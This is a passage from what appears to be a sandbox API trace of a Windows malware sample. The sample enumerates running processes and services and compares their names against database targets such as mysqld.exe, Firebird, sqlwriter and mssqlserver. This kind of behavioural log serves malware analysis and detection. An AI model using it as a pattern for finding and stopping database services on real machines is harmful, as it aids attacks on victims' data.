lpString2="csrss.exe") returned 1 [0260.758] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0260.758] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0260.759] lstrlenW (lpString="winlogon.exe") returned 12 [0260.760] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0260.761] lstrlenW (lpString="services.exe") returned 12 [0260.761] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0260.762] lstrlenW (lpString="lsass.exe") returned 9 [0260.763] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0260.764] lstrlenW (lpString="lsm.exe") returned 7 [0260.764] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.765] lstrlenW (lpString="svchost.exe") returned 11 [0260.765] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.766] lstrlenW (lpString="svchost.exe") returned 11 [0260.766] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.767] lstrlenW (lpString="svchost.exe") returned 11 [0260.768] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.769] lstrlenW (lpString="svchost.exe") returned 11 [0260.769] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.770] lstrlenW (lpString="svchost.exe") returned 11 [0260.770] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0260.771] lstrlenW (lpString="audiodg.exe") returned 11 [0260.771] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.772] lstrlenW (lpString="svchost.exe") returned 11 [0260.772] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0260.773] lstrlenW (lpString="explorer.exe") returned 12 [0260.773] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0260.774] lstrlenW (lpString="dwm.exe") returned 7 [0260.774] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.775] lstrlenW (lpString="svchost.exe") returned 11 [0260.775] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0260.776] lstrlenW (lpString="driver.exe") returned 10 [0260.777] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0260.779] lstrlenW (lpString="spoolsv.exe") returned 11 [0260.779] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.780] lstrlenW (lpString="taskhost.exe") returned 12 [0260.780] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0260.781] lstrlenW (lpString="svchost.exe") returned 11 [0260.781] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0260.782] lstrlenW (lpString="reader_sl.exe") returned 13 [0260.782] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0260.793] lstrlenW (lpString="taskhost.exe") returned 12 [0260.793] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0260.795] lstrlenW (lpString="dllhost.exe") returned 11 [0260.795] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0260.796] lstrlenW (lpString="consent.exe") returned 11 [0260.796] Process32NextW (in: hSnapshot=0x390, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0260.797] CloseHandle (hObject=0x390) returned 1 [0260.797] Sleep (dwMilliseconds=0x1f4) [0261.804] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c3158 [0261.805] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0261.806] GetLastError () returned 0xea [0261.806] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0261.812] EnumServicesStatusExW (in: hSCManager=0x41c3158, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0261.813] CloseServiceHandle (hSCObject=0x41c3158) returned 1 [0261.823] lstrlenW (lpString="Appinfo") returned 7 [0261.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0261.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0261.825] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0261.825] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0261.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0261.825] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0261.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0261.825] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.825] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.825] lstrlenW (lpString="AudioSrv") returned 8 [0261.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0261.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0261.826] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0261.826] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0261.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0261.826] lstrlenW (lpString="BFE") returned 3 [0261.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.826] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.826] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.826] lstrlenW (lpString="CryptSvc") returned 8 [0261.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.827] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.827] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.827] lstrlenW (lpString="CscService") returned 10 [0261.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0261.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0261.827] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0261.827] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0261.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0261.827] lstrlenW (lpString="DcomLaunch") returned 10 [0261.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.828] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.828] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.828] lstrlenW (lpString="Dhcp") returned 4 [0261.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.828] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.828] lstrlenW (lpString="Dnscache") returned 8 [0261.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.828] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.829] lstrlenW (lpString="DPS") returned 3 [0261.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.829] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.829] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.829] lstrlenW (lpString="eventlog") returned 8 [0261.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0261.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0261.829] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0261.829] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0261.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0261.830] lstrlenW (lpString="EventSystem") returned 11 [0261.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.830] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.830] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.830] lstrlenW (lpString="gpsvc") returned 5 [0261.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.830] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.831] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.831] lstrlenW (lpString="iphlpsvc") returned 8 [0261.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.831] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.831] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.831] lstrlenW (lpString="LanmanServer") returned 12 [0261.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.831] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.831] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.832] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.832] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.832] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.832] lstrlenW (lpString="lmhosts") returned 7 [0261.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.832] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.832] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.833] lstrlenW (lpString="MMCSS") returned 5 [0261.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0261.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0261.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0261.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0261.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0261.833] lstrlenW (lpString="MpsSvc") returned 6 [0261.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.833] lstrlenW (lpString="Netman") returned 6 [0261.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0261.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0261.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0261.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0261.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0261.834] lstrlenW (lpString="netprofm") returned 8 [0261.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.834] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.834] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.834] lstrlenW (lpString="NlaSvc") returned 6 [0261.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0261.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0261.835] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0261.835] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0261.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0261.835] lstrlenW (lpString="nsi") returned 3 [0261.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0261.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0261.835] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0261.835] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0261.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0261.835] lstrlenW (lpString="PcaSvc") returned 6 [0261.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0261.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0261.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0261.836] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0261.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0261.836] lstrlenW (lpString="PlugPlay") returned 8 [0261.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0261.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0261.836] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0261.836] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0261.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0261.836] lstrlenW (lpString="Power") returned 5 [0261.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0261.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0261.837] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0261.837] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0261.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0261.837] lstrlenW (lpString="ProfSvc") returned 7 [0261.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0261.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0261.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0261.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0261.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0261.837] lstrlenW (lpString="RpcEptMapper") returned 12 [0261.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0261.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0261.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0261.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0261.838] lstrlenW (lpString="RpcSs") returned 5 [0261.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0261.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0261.838] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0261.838] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0261.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0261.838] lstrlenW (lpString="SamSs") returned 5 [0261.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0261.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0261.840] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0261.840] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0261.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0261.840] lstrlenW (lpString="Schedule") returned 8 [0261.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0261.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0261.840] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0261.840] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0261.840] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0261.840] lstrlenW (lpString="SENS") returned 4 [0261.840] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0261.840] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0261.841] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0261.841] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0261.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0261.841] lstrlenW (lpString="ShellHWDetection") returned 16 [0261.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0261.841] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0261.841] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0261.841] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0261.841] lstrlenW (lpString="Spooler") returned 7 [0261.841] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0261.841] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0261.841] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0261.841] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0261.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0261.842] lstrlenW (lpString="SysMain") returned 7 [0261.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0261.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0261.842] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0261.842] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0261.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0261.842] lstrlenW (lpString="Themes") returned 6 [0261.842] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0261.842] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0261.842] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0261.842] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0261.842] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0261.842] lstrlenW (lpString="TrkWks") 